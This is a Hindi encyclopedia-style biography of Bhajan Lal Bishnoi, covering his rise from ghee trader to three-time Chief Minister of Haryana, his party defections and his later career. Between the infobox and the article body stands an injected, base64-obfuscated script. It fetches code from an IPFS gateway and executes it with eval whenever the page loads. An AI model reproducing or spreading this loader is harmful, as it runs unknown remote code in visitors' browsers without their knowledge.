भजन लाल
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पूरा नाम | भजन लाल बिश्नोई |
अन्य नाम | चौधरी भजन लाल |
जन्म | 6 अक्टूबर, 1930 |
जन्म भूमि | कोटनवाली, पंजाब |
मृत्यु | 3 जून, 2011 |
मृत्यु स्थान | हिसार, हरियाणा |
पति/पत्नी | जसमादेवी बिश्नोई |
संतान | चंद्रमोहन बिश्नोई, कुलदीप बिश्नोई |
नागरिकता | भारतीय |
प्रसिद्धि | राजनीतिज्ञ |
पार्टी | हरियाणा जनहित काँग्रेस |
पद | भूतपूर्व मुख्यमंत्री, हरियाणा प्रथम- 29 जून, 1979 से 21 मई, 1982 |
अन्य जानकारी | भजन लाल जी ने अपने पेशे की शुरुआत हिसार जिले के आदमपुर शहर में एक व्यापारी के रूप में की और बाद में आदमपुर विधानसभा क्षेत्र से राजनीति में प्रवेश किया। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>भजन लाल बिश्नोई (अंग्रेज़ी: Bhajan Lal Bishnoi, जन्म- 6 अक्टूबर, 1930; मृत्यु- 3 जून, 2011) हरियाणा के कुशल राजनीतिज्ञ तथा तीन बार प्रदेश के मुख्यमंत्री बनने वाले राजनेता थे। वह पहली बार 1979 में, फिर 1982 और इसके बाद 1991 में हरियाणा के मुख्यमंत्री बने थे। वह एक बार केंद्रीय कृषि मंत्री भी रह चुके थे।
परिचय
6 अक्टूबर, 1930 को भजन लाल का जन्म कोतवाली, पंजाब के बिश्नोई जाट किसान परिवार में हुआ था। बाद में वह हिसार आकर बसे। उनके बचपन के बारे में कहा जाता है कि वह गांव से पैदल आदमपुर की मंडी में घूमने जाते थे। घी बेचा करते थे। मंडी के एक दुकानदार ने भजन लाल की कुशलता को भांप लिया और उनको अपनी दुकानदारी में हिस्सेदारी पर रख लिया। आगे चलकर इसी कुशलता के दम पर भजन लाल ने विधायक जुटाए और अपनी सरकार बनाई।[1]
राजनीति
आगे चलकर 1977 में जनता पार्टी में शामिल होने के लिए भजन लाल ने मोरारजी देसाई के घर 18 किलो घी के तीन पीपे भिजवाए थे। हरियाणा के कल्चर में किसी को अपने यहां से घी लाकर देना अच्छे और घनिष्ठ रिश्ते की निशानी माना जाता है। कह सकते हैं कि एक बार किसी का घी खा लिया तो आप पर उसके घी का कर्ज चढ़ गया समझो। कांग्रेस में आने के लिए भी भजन लाल ने वैसी ही ट्रिक अपनाई जैसी जनता दल में जाने के लिए की थी। लेकिन इस बार घी की बजाय संजय गांधी के नवजात शिशु (वरुण गांधी) के लिए हरियाणवी अंदाज़ में सोने की पत्तर चढ़ा ऊंट भिजवाया था।
सन 1977 के चुनाव के बाद केंद्र में जनता पार्टी की सरकार बनी। लेकिन आपसी मतभेद के चलते यह सरकार गिर गई। जब 1980 में केंद्र में इंदिरा गांधी की सरकार वापस आई तो भजन लाल ने देश को एक बार फिर चौंकाया। जनता पार्टी से मुख्यमंत्री बने भजन लाल अपने करीब 40 विधायकों समेत कांग्रेस में शामिल हो गए।[1]
सियासत के कुशल खिलाड़ी
ऐसा ही एक क़िस्सा है जब कांग्रेस में आने के बाद भजन लाल ने राजीव गांधी से हरियाणा के पूर्व कांग्रेसी मुख्यमंत्री बंसीलाल के साथ एक मीटिंग कराने की दरख्वास्त की। जब बंसीलाल और भजन लाल की मीटिंग खत्म हुई तब तक बंसीलाल की कई शिकायतें दूर हो गई थी। क्योंकि इस मीटिंग के बाद बंसीलाल के बेटे को मंत्री बना दिया गया था। इंडिया टुडे की एक रिपोर्ट के मुताबिक भजन लाल के बारे में एक अधिकारी ने कहा था कि भजन लाल भगवान को भी मात दे सकते हैं और भगवान को पता भी नहीं चलेगा।
चौधरी देवी लाल और भजन लाल की राजनीति के चलते हरियाणा में जाट और गैर जाट की भावना खूब बढ़ी। दोनों ही नेताओं को ये राजनीति खूब सूट करती थी। 1979 से लेकर 1999 तक भजन लाल सत्ता से हटते तो देवी लाल आते और देवी लाल हटते तो भजन लाल आते। बाद में पूर्व मुख्यमंत्री भूपिन्दर सिंह हुड्डा ने एक रैली में दोनों नेताओं पर टिप्पणी करते हुए इसे 'पॉलिटिकल मैच फिक्सिंग' कहा था।
पार्टी का गठन
1991-1996 तक फिर भजन लाल हरियाणा के मुख्यमंत्री रहे। इसके बाद सत्ता परिवर्तन हो गया। पहले बंसीलाल फिर चौधरी देवी लाल के बेटे ओम प्रकाश चौटाला वापस सत्ता में आ गए। बाद में कांग्रेस के ही भूपिन्दर सिंह हुड्डा 2005 में मुख्यमंत्री बने। उस समय ही भजन लाल को एहसास हो गया था कि वो कांग्रेस लीडरशिप के खिलाफ बगावत नहीं कर सकते। गांधी परिवार ने भजन लाल को उनके बेटे कुलदीप बिश्नोई और चांद राम को अच्छे पदों पर जगह का वादा किया था। लेकिन आगे चलकर राजनीतिक समीकरण बदले। भजन लाल ने 2007 में कांग्रेस छोड़कर अपनी पार्टी 'हरियाणा जनहित कांग्रेस' बना ली थी।[1]
राजनीति के प्रोफेसर
भजन लाल को 'भारतीय चुनावी राजनीति का प्रोफेसर' कहा जा सकता है। 78 साल की उम्र में भी 2009 के चुनावों से पहले उन्होंने कहा था कि "चुनाव जीतने के लिए अभी तो मैं जवान हूं"। उसी साल लोकसभा चुनाव में हरियाणा के दो बड़े नेताओें संपत सिंह और जय प्रकाश को हराकर सांसद बने।
मृत्यु
2011 में 80 साल की उम्र में भजन लाल बिश्नोई का देहांत हो गया। उनके देहांत पर देश के प्रमुख अखबारों ने छापा था कि अब गैर जाटों को लामबंद करने वाला नेता नहीं रहा और इसका फायदा जाट नेताओं को जाएगा। लेकिन इतिहास को देखें तो ये बात भी पता चलती है कि अपने रहते हुए भजन लाल ने किसी और गैर जाट नेता को आगे नहीं बढ़ने दिया। भजन लाल की खासियत थी कि वो दूसरे खेमे में खरीद लिए जाने वाले विधायकों की पहचान कर लेते थे और राजनीति की इस पाक कला से उनके विरोधी उनसे नफरत भी करते और मन ही मन तारीफें भी करतें।[1]
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टीका टिप्पणी और संदर्भ
संबंधित लेख
क्रमांक | राज्य | मुख्यमंत्री | तस्वीर | पार्टी | पदभार ग्रहण |
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